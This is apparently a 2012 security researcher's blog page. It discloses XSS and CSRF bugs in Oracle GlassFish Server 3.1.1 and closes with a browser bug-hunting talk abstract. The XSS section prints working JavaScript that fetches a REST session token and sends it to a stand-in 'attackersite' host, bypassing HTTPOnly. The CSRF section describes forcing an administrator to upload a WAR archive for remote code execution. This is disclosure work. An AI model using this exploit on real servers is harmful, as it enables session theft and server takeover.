Pages

Thursday, 19 April 2012

Following disclosure of Oracle bugs, here is another bug found in Oracle GlassFish Server 3.1.1. The interesting part of this advisory is the exploit. When looking at the features of the Oracle GlassFish Server, I have noticed that with a XSS it would be possible to steal the session token and bypass HTTPOnly protection. I have found this condition to be true if a user is authenticated to the REST interface, which does not have the same security controls of the main web administrative interface. Quite an interesting point to keep in consideration when testing applications that come with a standard interface and a REST interface as well.

Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected and stored Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token

function retrieveToken()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{}
}
xmlhttp.open("POST","/management/sessions",true);
xmlhttp.setRequestHeader("Accept","application/json")
xmlhttp.send();
return xmlhttp;
}
function stealToken(a)
{
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker
a = document.createElement("IMG");
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token);
document.body.appendChild(a); // time to grab the token
}
// this exploit works with browsers that have native JSON support
var a = retrieveToken();// perform XHR to retrieve token
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to
attackersite
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server

Time for some disclosure. Below, details of a CSRF bug discovered in Oracle GlassFish Server 3.1.1 few months ago. Interesting to observe that Oracle rates this as the third most critical bug fixed among the Oracle Sun Products. I guess that's because of the exploit which was included in the original report and which I am releasing as part of this advisory. I found a curios angle to exploit this bug, as arbitrary file upload of a WAR archive can be performed. A quite cool way to exploit a CSRF and own Oracle GlassFish, if you ask me :-). Enjoy.

DescriptionSecurity-Assessment.com has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross
Site Request Forgery (CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below.

Exploitation

Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application.

The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled.

Arbitrary WAR Archive File Upload – CSRF PoC

Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload

by Roberto Suggi Liverani - Security-Assessment.com
This is a Proof-of-Concept - the start() function can be invoked automatically.
The CSRF upload technique used in this case is a slight variation of the technique demonstrated here:
http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html
Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html

This time, I will be presenting with Scott Bell, my colleague at Security-Assessment.com. The presentation will cover the results of our research which focuses on browser bug hunting. Certainly, there is no fun without dropping some 0days... so expect to see some cool bugs if you are attending our talk. If not, you will be able to grab demos, videos and slides following the conference.

Here is the talk abstract:

Window Shopping: Browser Bug Hunting in 2012

Web browsers have become part of everyday life, and are relied upon by millions of internet citizens each day. The feature rich online world has turned the once simple web browser into a highly complex (and very often insecure) desktop application.As browser vendors have extended functionality and support to new technologies, security researchers and hackers are continuously looking for new vulnerabilities. In this talk, Roberto and Scott will share results of their assiduous browser bug hunting. The talk will examine techniques used to discover critical and less severe vulnerabilities in some of the most popular browsers on the market.
This talk will focus heavily (but not exclusively) on the following areas:

- Memory corruption bugs;- New approaches to DOM fuzzing;- Old school techniques against new browser technology;- Cross Context Scripting and injection attacks;- SOP Bypass;
The presentation will conclude with a montage of on-stage demonstrations of previously unreleased vulnerabilities, including remote code execution, injections and other tailored browser exploits.

If you are attending the conference, please don't forget to pass by and say 'hi' ;-)